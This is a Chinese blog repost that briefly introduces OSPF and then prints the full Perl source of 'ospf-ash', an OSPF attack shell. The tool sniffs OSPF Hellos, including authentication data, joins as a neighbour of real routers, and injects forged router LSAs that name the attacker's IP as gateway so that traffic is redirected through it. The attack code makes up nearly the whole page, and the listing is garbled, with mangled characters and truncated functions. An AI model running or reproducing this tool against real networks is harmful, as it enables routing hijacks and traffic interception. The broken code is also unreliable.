加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 大数据 > 正文

OSPF协议栈的perl 脚本实现!

发布时间:2020-12-15 20:53:53 所属栏目:大数据 来源:网络整理
导读:OSPF协议栈的perl 脚本实现! 现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性! OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。 ? 本篇文章就通过一个老外写的OSP
OSPF协议栈的perl 脚本实现!
现代中型或者大型规模企业应用比较多的是OSPF协议,当然如果都采用CISCO设备,我会更推荐EIGRP协议,因为快速的收敛特性!
OSPF协议非常复杂,其RFC2328就有1万多行!OSPF协议也相对很难理解。
?
本篇文章就通过一个老外写的OSPF perl脚本来分析一下部分的OSPF协议栈功能。并针对这个脚本做改变实现一个攻击测试。
?
如下就是OSPF perl脚本代码:
?
#!/usr/bin/perl
#
# $Id: ospf-ash.pl,v 1.9 2007/03/13 18:28:26 gomor Exp $
#
package Net::Attack::OSPF;
use strict;
use warnings;
our $VERSION = '0.16';
use Net::Frame::Device;
use Net::Frame::Dump::Online;
use Net::Frame::Simple;
use Net::Write::Layer2;
use Net::Frame::Layer qw(:subs);
use Net::Frame::Layer::ETH qw(:consts);
use Net::Frame::Layer::ARP qw(:consts);
use Net::Frame::Layer::IPv4 qw(:consts);
use Net::Frame::Layer::OSPF qw(:consts);
use Net::Frame::Layer::OSPF::Hello;
use Net::Frame::Layer::OSPF::DatabaseDesc;
use Net::Frame::Layer::OSPF::Lsa;
use Data::Dumper;
use Term::ReadLine;
use Time::HiRes qw(gettimeofday);
our $oDevice;
our $oWrite;
# To store OSPF parameters (areaId,...)
our $Env = {
?? routerPri??? => 1,
?? lsAge??????? => 200,
?? areaId?????? => undef,
?? networkMask? => undef,
?? dr?????????? => undef,
?? bdr????????? => undef,
?? neighborList => [],
?? _neighbors?? => [],
?? state??????? => 'start',
};
# Will store ARP cache table
our $Mac = {};
sub init {
?? my ($dev,$src,$mac) = @_;
?? if ($dev) { $oDevice = Net::Frame::Device->new(dev => $dev) }
?? else????? { $oDevice = Net::Frame::Device->new????????????? }
?? $oDevice->ip($src)? if $src;
?? $oDevice->mac($mac) if $mac;
?? print "n? -- OSPF Attack Shell - $VERSION --nn";
?? print "Using device??? : ".$oDevice->dev."n";
?? print "Using source IP : ".$oDevice->ip. "n";
?? print "Using source MAC: ".$oDevice->mac."n";
?? $oWrite = Net::Write::Layer2->new(dev => $oDevice->dev);
?? $oWrite->open;
}
sub help {
?? print
????? "You can use the following functions:n".
????? "? listen()??? wait for an OSPF Hello frame,get various variablesn".
????? "? exchange()? become an OSPF neighbor with all available routersn".
????? "? lock()????? keep regularly sending Hello framesn".
????? "? lsu_router(NETWORK,MASK)??????? inject a LSA Routern".
????? "";
}
sub _dumpCallListen {
?? my ($h,$data) = @_;
?? my $f = Net::Frame::Simple->newFromDump($h);
?? if ($f->ref->{'OSPF'}) {
????? my $packet = $f->ref->{'OSPF'}->packet;
????? if ($packet->layer eq 'OSPF::Hello') {
???????? my $dr = $packet->designatedRouter
??????????? if $packet->designatedRouter;
???????? my $bdr = $packet->backupDesignatedRouter
??????????? if $packet->backupDesignatedRouter;
???????? my @nl;
???????? for ($packet->neighborList) {
??????????? push @nl,$_ unless /^0.0.0.0$/;
???????? }
???????? # If there is only a DR,we add it to neighborList
???????? if (! $bdr || $bdr =~ /^0.0.0.0$/) { push @nl,$dr; }
???????? print "Hello from: ".$f->ref->{'IPv4'}->src."n";
???????? print "Found: DR : $drn"? if $dr;
???????? print "Found: BDR: $bdrn" if $bdr;
???????? print "Found: neighborList: @nln" if @nl;
???????? $Env->{dr}??????????? = $dr? if $dr;
???????? $Env->{bdr}?????????? = $bdr if $bdr;
???????? $Env->{neighborList}? = @nl if @nl;
???????? $Env->{helloInterval} = $packet->helloInterval
??????????? if $packet->helloInterval;
???????? $Env->{routerDeadInterval} = $packet->routerDeadInterval
??????????? if $packet->routerDeadInterval;
???????? $Env->{networkMask} = $packet->networkMask
??????????? if $packet->networkMask;
???????? $Env->{areaId} = $f->ref->{'OSPF'}->areaId
??????????? if $f->ref->{'OSPF'}->areaId;
???????? $Env->{authType} = $f->ref->{'OSPF'}->authType
??????????? if $f->ref->{'OSPF'}->authType;
???????? $Env->{authData} = $f->ref->{'OSPF'}->authData
??????????? if $f->ref->{'OSPF'}->authData;
???????? printf "AuthType: 0x%02dn",$Env->{authType}
??????????? if $Env->{authType};
???????? printf "AuthData: %sn",$Env->{authData}
??????????? if $Env->{authData};
???????? $data->stop;
????? }
?? }
}
sub _updateNeighbors {
?? my %neighbor;
?? $neighbor{$Env->{dr}}? = '' if ($Env->{dr}? && $Env->{dr}? !~ /^0.0.0.0$/);
?? $neighbor{$Env->{bdr}} = '' if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/);
?? for (@{$Env->{neighborList}}) {
????? #next if /^0.0.0.0$/;
????? #next if
/^@{[$oDevice->ip]}$/ ;
????? $neighbor{$_} = '';
?? }
?? for (keys %neighbor) {
????? delete $neighbor{$_} if (/^0.0.0.0$/ ||
/^@{[$oDevice->ip]}$/ );
?? }
?? $Env->{_neighbors} = [ keys %neighbor ];
}
sub listen {
?? # Flush $Env vars
?? $Env->{dr}?????????? = undef;
?? $Env->{bdr}????????? = undef;
?? $Env->{neighborList} = [];
?? $Env->{authType} = undef;
?? $Env->{authData} = undef;
?? my $oDump = Net::Frame::Dump::Online->new(
????? dev?????? => $oDevice->dev,
????? overwrite => 1,
????? promisc?? => 1,
?? );
?? $oDump->filter('dst host 224.0.0.5 and ip proto 0x59');
?? $oDump->onRecv(&;_dumpCallListen);
?? $oDump->onRecvData($oDump);
?? $oDump->start;
?? if ($Env->{dr} && $Env->{dr} !~ /^0.0.0.0$/) {
????? $Mac->{$Env->{dr}} = $oDevice->lookupMac($Env->{dr});
?? }
?? if ($Env->{bdr} && $Env->{bdr} !~ /^0.0.0.0$/) {
????? $Mac->{$Env->{bdr}} = $oDevice->lookupMac($Env->{bdr});
?? }
?? _updateNeighbors();
}
sub _ospfSend1 {
?? my ($f) = @_;
?? $f->send($oWrite);
}
sub _ospfSend {
?? my ($f,$oDump,$recvFrom) = @_;
?? my $recv;
?? for (1..2) {? # Two retries
????? $f->send($oWrite);
????? until ($oDump->timeout) {
???????? if ($recv = $f->recv($oDump)) {
??????????? my $dst = $f->ref->{'IPv4'}->dst;
??????????? my $src = $recv->ref->{'IPv4'}->src;
??????????? if ($recvFrom && ($src eq $recvFrom)) {
?????????????? last;
??????????? }
??????????? elsif ($dst eq '224.0.0.5' || $dst eq $src) {
?????????????? last;
??????????? }
??????????? $recv = undef;
???????? }
????? }
????? $oDump->timeoutReset;
????? last if $recv;
?? }
?? $recv;
}
sub _getEthHdr {
?? my ($dst) = @_;
?? my $mac = ($Mac->{$dst} || $oDevice->lookupMac($dst)) if $dst;
?? Net::Frame::Layer::ETH->new(
????? src='#'" $oDevice->mac,
????? dst => $mac || NF_ETH_ADDR_BROADCAST,
?? );
}
sub _getIpHdr {
?? my ($src,$dst) = @_;
?? Net::Frame::Layer::IPv4->new(
????? noFixLen => 1,
????? ttl????? => 1,
????? src????? => $src,
????? dst????? => $dst || '224.0.0.5',
????? protocol => NF_IPv4_PROTOCOL_OSPF,
?? );
}
sub _getOspfHello {
?? my $eth = _getEthHdr();
?? my $ip? = _getIpHdr($oDevice->ip);
?? my $ospf = Net::Frame::Layer::OSPF->new(
????? type???? => NF_OSPF_TYPE_HELLO,
????? routerId => $oDevice->ip,
????? areaId?? => $Env->{areaId},
????? authType => $Env->{authType},
????? authData => $Env->{authData},
?? );
?? my $ospfHello = Net::Frame::Layer::OSPF::Hello->new(
????? networkMask??????? => $Env->{networkMask},
????? helloInterval????? => $Env->{helloInterval},
????? options??????????? => NF_OSPF_HELLO_OPTIONS_E,
????? routerPri????????? => $Env->{routerPri},
????? routerDeadInterval => $Env->{routerDeadInterval},
????? designatedRouter?????? => $Env->{dr},
????? backupDesignatedRouter => $Env->{bdr} || '0.0.0.0',
????? neighborList?????????? => $Env->{neighborList},
?? );
?? $ospf->packet($ospfHello);
?? $ospf->computeLengths;
?? $ospf->computeChecksums;
?? $ip->length($ip->length + $ospf->length);
?? Net::Frame::Simple->new(layers => [ $eth,$ip,$ospf ]);
}
sub _getOspfDbd {
?? my ($router,$flags,$seqnum,$lsa) = @_;
?? my $eth = _getEthHdr($router);
?? my $ip? = _getIpHdr($oDevice->ip,$router);
?? my $ospf = Net::Frame::Layer::OSPF->new(
????? type???? => NF_OSPF_TYPE_DATABASEDESC,
?? );
?? my $ospfDbd = Net::Frame::Layer::OSPF::DatabaseDesc->new(
????? ddSequenceNumber => $seqnum || 4300,
????? options????????? =>
???????? NF_OSPF_DATABASEDESC_OPTIONS_0|NF_OSPF_DATABASEDESC_OPTIONS_E,
????? flags??????????? => $flags ||
???????? (NF_OSPF_DATABASEDESC_FLAGS_I | NF_OSPF_DATABASEDESC_FLAGS_M |
???????? NF_OSPF_DATABASEDESC_FLAGS_MS),
?? );
?? $ospf->packet($ospfDbd);
?? $ospf->computeLengths;
?? $ospf->computeChecksums;
?? $ip->length($ip->length + $ospf->length);
?? $ospf->packet->lsaList([ $lsa ]) if $lsa;
?? Net::Frame::Simple->new(layers => [ $eth,$ospf,]);
}
sub _getLsaRouterHeader {
?? Net::Frame::Layer::OSPF::Lsa->new(
????? lsAge???????????? => 92,
????? options?????????? => 0x02,
????? lsType??????????? => 0x01,
????? linkStateId?????? => $oDevice->ip,
????? advertisingRouter => $oDevice->ip,
????? lsSequenceNumber? => 1,
?? );
}
sub exchange {
?? my ($router) = @_;
?? my $oDump = Net::Frame::Dump::Online->new(
????? dev?????????? => $oDevice->dev,
????? overwrite???? => 1,
????? promisc?????? => 1,
????? timeoutOnNext => 2,
?? );
?? $oDump->filter('ip proto 0x59');
?? $oDump->start;
?? my $ospfHelloReply = _ospfSend(_getOspfHello(),$router);
?? die("No router listens") unless $ospfHelloReply;
?? # We are in ExStart state
?? for (@{$Env->{_neighbors}}) {
????? next if /^0.0.0.0$/;
????? # Then,DR sends DBD,we reply the same DBD
????? my $ospfDbd????? = _getOspfDbd($_);
????? my $ospfDbdReply = _ospfSend($ospfDbd,$oDump);
????? if (! $ospfDbdReply) {
???????? warn("$_: No DBD reply");
???????? next;
????? }
????? # We are in Exchange state
????? # Now is Exchange state,we reply with received ddSeqNum + 1,flags M|MS,
????? # and our Router-LSA header
????? my $seqnum = $ospfDbdReply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
????? my $flags? = NF_OSPF_DATABASEDESC_FLAGS_M | NF_OSPF_DATABASEDESC_FLAGS_MS;
????? my $lsaRouter???? = _getLsaRouterHeader();
????? my $ospfDbd2????? = _getOspfDbd($_,$lsaRouter);
????? my $ospfDbd2Reply = _ospfSend($ospfDbd2,$oDump);
????? if (! $ospfDbd2Reply) {
???????? warn("$_: No DBD2 reply");
???????? next;
????? }
????? # Last step before LS exchange,we reply to the "empty" request with
????? # ddSeqNum +1,flags MS only
????? $seqnum = $ospfDbd2Reply->ref->{'OSPF'}->packet->ddSequenceNumber + 1;
????? $flags? = NF_OSPF_DATABASEDESC_FLAGS_MS;
????? my $ospfDbd3????? = _getOspfDbd($_,$seqnum);
????? my $ospfDbd3Reply = _ospfSend($ospfDbd3,$oDump);
????? if (! $ospfDbd3Reply) {
???????? warn("$_: No DBD3 reply");
???????? next;
????? }
????? print "$_: exchange completen";
?? }
?? # If there were no BDR,we are the new one
?? if (! $Env->{bdr} || $Env->{bdr} =~ /^0.0.0.0$/) {
????? $Env->{bdr} = $oDevice->ip;
?? }
?? _updateNeighbors();
?? $Env->{neighborList} = [ @{$Env->{_neighbors}} ];
?? push @{$Env->{neighborList}},$oDevice->ip;
?? $oDump->stop;
}
sub _getLsuNetwork {
?? my ($linkStateId,$router,$netmask) = @_;
?? my $eth = _getEthHdr();
?? my $ip? = _getIpHdr($oDevice->ip);
?? my $ospf = Net::Frame::Layer::OSPF->new(
????? type???? => NF_OSPF_TYPE_LINKSTATEUPDATE,
?? );
?? my $lsa = Net::Frame::Layer::OSPF::Lsa->new(
????? lsAge?? => $Env->{lsAge},
????? options => 0x02,
????? lsType? => 0x02,
????? linkStateId?????? => $linkStateId || $oDevice->ip,
????? lsSequenceNumber? => getRandom32bitsInt(),
?? );
?? my $lsaNetwork = Net::Frame::Layer::OSPF::Lsa::Network->new(
????? netmask??? => $netmask,
????? routerList => [ $router,],
?? );
?? $lsa->lsa($lsaNetwork);
?? $lsa->computeLengths;
?? $lsa->computeChecksums;
?? my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
????? lsaNumber => 1,
????? lsaList?? => [ $lsa ],
?? );
?? $ospf->packet($ospfLsu);
?? $ospf->computeLengths;
?? $ospf->computeChecksums;
?? $ip->length($ip->length + $ospf->length);
?? Net::Frame::Simple->new(layers => [ $eth,$ospf ]);
}
sub _getLsuRouter {
?? my ($network,$mask) = @_;
?? my $eth = _getEthHdr();
?? my $ip? = _getIpHdr($oDevice->ip);
?? my $ospf = Net::Frame::Layer::OSPF->new(
????? type???? => NF_OSPF_TYPE_LINKSTATEUPDATE,
????? options => 0x22,
????? lsType? => 0x01,
?? );
?? my $lsaRouter = Net::Frame::Layer::OSPF::Lsa::Router->new(
????? flags => 0,
?? );
?? # To correctly send a router,we must first advertise the network/mask
?? # In a stub network (type 0x03)
?? my @linkList = ();
?? push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
????? linkId?? => $network,
????? linkData => $mask,
????? type???? => 0x03,
????? nTos???? => 0,
????? metric?? => 10,
?? );
?? # Then,we MUST say which is the gateway,to the DR
?? # Here,we say the gateway is our IP address to redirect
?? # trafic to us.
?? push @linkList,Net::Frame::Layer::OSPF::Lsa::Router::Link->new(
????? linkId?? => $Env->{dr},
????? linkData => $oDevice->ip,
????? type???? => 0x02,
?? );
?? $lsaRouter->nLink(scalar @linkList);
?? $lsaRouter->linkList(@linkList);
?? $lsa->lsa($lsaRouter);
?? $lsa->computeLengths;
?? $lsa->computeChecksums;
?? my $ospfLsu = Net::Frame::Layer::OSPF::LinkStateUpdate->new(
????? lsaNumber => 1,$ospf ]);
}
sub lsu_network {
?? my ($linkStateId,$netmask) = @_;
?? my $lsu = _getLsuNetwork($linkStateId,$netmask);
?? _ospfSend1($lsu);
}
sub lsu_router {
?? my ($network,$mask) = @_;
?? my $lsu = _getLsuRouter($network,$mask);
?? _ospfSend1($lsu);
}
sub _getLsaAck {
?? my ($request) = @_;
?? my $eth = _getEthHdr();
?? my $ip? = _getIpHdr($oDevice->ip);
?? my $ospf = Net::Frame::Layer::OSPF->new(
????? type???? => NF_OSPF_TYPE_LINKSTATEACK,
?? );
?? my $raw = '';
?? for ($request->lsaList) {
????? $_->lsa(undef);
????? $raw .= $_->pack;
?? }
?? $ospf->packet($raw);
?? $ospf->computeLengths;
?? $ospf->computeChecksums;
?? $ip->length($ip->length + $ospf->length);
?? Net::Frame::Simple->new(layers => [ $eth,]);
}
sub _dumpCallOnRecv {
?? my ($h,$data) = @_;
?? my $frame = Net::Frame::Simple->newFromDump($h);
?? if ($frame->ref->{'OSPF'}) {
????? my $packet = $frame->ref->{'OSPF'}->packet;
????? if ($packet) {
???????? # If a LSU frame is seen,we must acknowledge it
???????? if ($packet->layer eq 'OSPF::LinkStateUpdate') {
??????????? _ospfSend1(_getLsaAck($packet));
???????? }
???????? # If a Hello frame is seen,we send one,to keep behing in neighborhood
???????? elsif ($packet->layer eq 'OSPF::Hello') {
??????????? _ospfSend1(_getOspfHello());
???????? }
????? }
?? }
}
sub lock {
?? my $pid = fork();
?? die("fork: $!") unless defined($pid);
?? if ($pid) { # Parent process
????? return 1;
?? }
?? else { # Child process
????? close(STDIN);
????? close(STDOUT);
????? close(STDERR);
????? my $oDumpChild = Net::Frame::Dump::Online->new(
???????? overwrite => 1,
???????? promisc?? => 1,
???????? dev?????? => $oDevice->dev,
???????? filter??? => 'ip proto 0x59 '.
????????????????????? 'and not src host '.$oDevice->ip,
???????? onRecv??? => &;_dumpCallOnRecv,
????? );
????? $oDumpChild->start;
????? $oDumpChild->stop;
????? exit(0);
?? }
}
sub ash {
?? my ($dev,$mac) = @_;
?? init($dev,$mac);
?? my $prompt = 'ash> ';
?? my $name?? = 'ASH';
?? my $term?? = Term::ReadLine->new($name);
?? $term->ornaments(0);
?? {
????? no strict;
????? while (1) {
???????? if (my $line = $term->readline($prompt)) {
??????????? $line =~ s/^s*listens*$/Net::Attack::OSPF::listen/;
??????????? eval($line);
??????????? warn($@) if $@;
??????????? print "n";
???????? }
????? }
?? }
?? print "n";
}
1;
package main;
my $dev = shift;
my $src = shift;
my $mac = shift;
Net::Attack::OSPF::ash($dev,$mac);
1;
__END__
=head1 NAME
ospf-ash - Net::Frame based OSPF Attack Shell tool
=head1 AUTHOR
Patrice E<lt>GomoRE<gt> Auffret
=head1 COPYRIGHT AND LICENSE
Copyright (c) 2007,Patrice E<lt>GomoRE<gt> Auffret
You may distribute this module under the terms of the Artistic license.
See LICENSE.Artistic file in the source distribution archive.
=cut
?
待续。。。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读